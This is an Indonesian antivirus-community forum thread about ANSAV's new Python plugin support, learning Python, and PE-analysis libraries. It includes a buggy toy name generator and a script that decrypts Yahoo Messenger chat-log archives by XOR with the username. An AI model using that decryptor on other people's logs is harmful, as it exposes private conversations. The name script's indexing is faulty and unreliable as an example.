mohon info nya..:-?

M2R
06-22-2010, 01:47 PM
wah, makin mantap nih ansav v3 :top:
saya kemarin sempat mikir juga kenapa Ansav ga pake plugin untuk scripting... ternyata udah duluan dipikirkan sama om anvie :top: :top:

hehe, mas void blm pernah kenal plugin xscript ya? bwtan om xerion, yg bwt scripting jg. btw, bner g sie scripting yg saia maksud? kwakawkawkaw

anvie
06-23-2010, 02:48 PM
versi alpha nya dah rilis loh, sementara ini yang AVI dulu, ANSAV-nya nunggu..
Python support:

http://i48.tinypic.com/256tpow.png

Yang penasaran langsung donlod aja, ada versi Windowsnya http://aviupdate.hopto.org/index

HyperLinx
06-26-2010, 07:02 PM
@M2R
kalau ingin mengembangkan plugin super rumit yah harus pakai yang
sebangsa dgn phyton. lagipula banyak libs yang bisa dipakai.

@om anvie
apakah plugin lama juga akan jalan di ansav 3? sepertinya tidak :shy:
tapi gimana cara bikinnya dgn phyton? tidak mengerti yg clamsav
karena avi saya tidak bisa dijalankan lagi sejak rilis yg terakhir.

M2R
06-26-2010, 10:32 PM
@atas
brarti saia haru belajar python jg. wedew ~_~

anvie
06-26-2010, 10:44 PM
@all:
benar sekali... semua harus belajar python hahahahahha

void
06-27-2010, 09:05 AM
para dewa coding apa aja sih perbedaan fungsi di python 2.x dan 3.x itu??
mohon info nya..:-?
kalau mau lebih lengkap, keknya kudu baca di changelog nya bro. yg jelas v3.x itu ada beberapa perubaha syntax/fungsi (CMIIW) misalnya print. kalau di 2.x kita bisa menulis print "blablabla" di 3.x kita harus menulis print("blablabla") :)

M2R
06-27-2010, 09:43 AM
@all:
benar sekali... semua harus belajar python hahahahahha

[OOT]
nie orang ktawanya puas bner :peace:

dulu saia blajar assembly gara2 mas anvie, skr belajar python jg karena mas anvie :wacko: tp blajarnya klo TA dah kelar ya ;)

mico75
08-03-2010, 03:23 PM
halo all..
phtyton yg bagus yg versi apa ya buat windows??:-?
n tmpt link nya dimana biar bisa di donlod?
thx's sblumnya

Saya pakai ActivePython: http://www.activestate.com/activepython. Distribusi python yang sudah dilengkapi beberapa modul yang berguna di Windows seperti Python Win32

mico75
08-03-2010, 03:26 PM
versi alpha nya dah rilis loh, sementara ini yang AVI dulu, ANSAV-nya nunggu..
Python support:

http://i48.tinypic.com/256tpow.png

Yang penasaran langsung donlod aja, ada versi Windowsnya http://aviupdate.hopto.org/index

Wow keren! Unduh dulu. Btw, python support ini gunanya buat apa ya? Masih belum paham, nih.

mico75
08-03-2010, 03:30 PM
gpp bro, mari kita sama2 belajar :)
btw, masih ada hubungannya dengan thread yang ini (http://www.ansav.com/forum/showthread.php?t=655), buat rekan2 ansavers yang tertarik untuk ngoprek PE pakai python bisa download pefile dari link ini
http://code.google.com/p/pefile/downloads/list

biar lebih maknyoss, bisa digabung dengan pydasm , yang bisa di download di situs ini
http://dkbza.org/pydasm.html
contoh situs yang menggunakan modulenya, selain virustotal adalah situs ini
http://utilitymill.com/utility/Exe_Dump_Utility
met ngoprek :)

Maaf nih, Mas Void. Bisa dijelaskan mengenai apa itu file PE? Lalu aplikasi dalam pembuatan antivirus apa?

nyiurmelambai
08-03-2010, 04:35 PM
ayo rame2 belajar phyton .... pzzztttt... hahaha

nyiurmelambai
08-03-2010, 04:41 PM
Wow keren! Unduh dulu. Btw, python support ini gunanya buat apa ya? Masih belum paham, nih.

katanya sih plugin ansav 3 basis phyton... pzztttt

M2R
08-04-2010, 06:43 PM
ayo rame2 belajar phyton .... pzzztttt... hahaha

iya nih, gara2 mas anvie. :cry:

mico75
08-05-2010, 04:01 PM
katanya sih plugin ansav 3 basis phyton... pzztttt

Hehehe, bagus. Saya juga sedang belajar Python. Oh ya, untuk belajar Python saya punya projek MSJL-BB (GUI untuk javaloader-nya Blackberry). Yah, silakan diliat-liat dan berikan masukan ya. Oh ya, dibuat dengan Python 2.6.5 di Windows, PyQt4. http://sourceforge.net/projects/msjl-bb

nyiurmelambai
09-04-2010, 02:33 PM
main dengan phython yuk....

#nama korea (korea name) in python
#(L)2010 by nyiurmelambai aka winz

nama=["Hwa","Woo","Joon","Hee","Kyo","Kyung","Wook","Jin","Jae","Hoon","Ra","Bin","Sun","Ri","Soo","Rim","Ah","Ae","Neul","Mun","In","Mi","Ki","Sang","Byung","Seok","Gun","Yoo","Sup","Won","Sub"]

nt=["Yong","Ji","Je","Hye","Dong","Sang","Ha","Hyo","Soo","Eun","Hyun","Rae"]

marga =["Park","Kim","Shin","Choi","Song","Kang","Han","Lee","Sung","Jung"]

print "Nama Korea in python by nyiurmelambai (L) 2010"

print "==============================================\n"

tgl=input(" * Tanggal Lahir [1-31]: ")

bln=input(" * Bulan Lahir [1-12]: ")

thn=input(" * Angka Terakhir Tahun Lahir [0-9] : ")

print "\n==============================================\n"

namakorea=nama[tgl+1]+" "+nt[bln+1]+" "+marga[bln+1]

print "Nama Korea Anda ==> "+namakorea

print "\nHallo "+namakorea+"!, apa kabar??!"

void
09-19-2010, 02:51 PM
python script untuk decrypt log archive ym

#!/usr/bin/env python
import sys

if len(sys.argv) < 4:
print 'usage: ' + sys.argv[0] + ' <file> <username> <buddyname>'
sys.exit(1)

m_user = sys.argv[2]
m_buddy = sys.argv[3]

try:
with open(sys.argv[1],'rb') as f:
while True:
m_time = f.read(5)
f.read(3)
m_msg = '<'+ m_user +'> ' if not ord(f.read(1)) else '<'+ m_buddy +'> '
f.read(3)
m_len = ord(f.read(1))
f.read(3)
for i in range(0, m_len):
m_msg += chr(ord(f.read(1)) ^ ord(m_user[i % len(m_user)]))
f.read(4)
print m_msg

except:
pass

^^.v
09-19-2010, 03:25 PM
yg ngeselin di python itu, kalo salah indentasi, scriptnya ga mau jalan. :|

M2R
09-19-2010, 05:57 PM
yg ngeselin di python itu, kalo salah indentasi, scriptnya ga mau jalan. :|

Untung saia dari awal kenal programming udah ketat ama indentasi :P

void
09-19-2010, 11:34 PM
yg ngeselin di python itu, kalo salah indentasi, scriptnya ga mau jalan. :|

mungkin bisa di set di editornya bro. klo pakai Vim, bisa tambah setting ini di ~/.vimrc (biasanya saya pakai 4 spasi untuk indentasi ga pakai tab)

autocmd BufEnter *.py set ts=4 sw=4 expandtab

Untung saia dari awal kenal programming udah ketat ama indentasi :P

mantap gan :top:

two
11-21-2010, 02:09 PM
waduh ajarin aku dari awal donk tmn", alne aq bru pkai phyton jd pgtahuan msh nol besar

void
12-13-2010, 05:49 AM
waduh ajarin aku dari awal donk tmn", alne aq bru pkai phyton jd pgtahuan msh nol besar

yang penting rajin latihan bro :) cara paling gampang, coba cari problem lalu selesaikan dengan menggunakan python. jangan lupa, rajin2 baca manual pythonnya ;)

Struct
03-02-2011, 06:17 AM
Permisi mastah2 semuanya.. Numpang belajar.. :)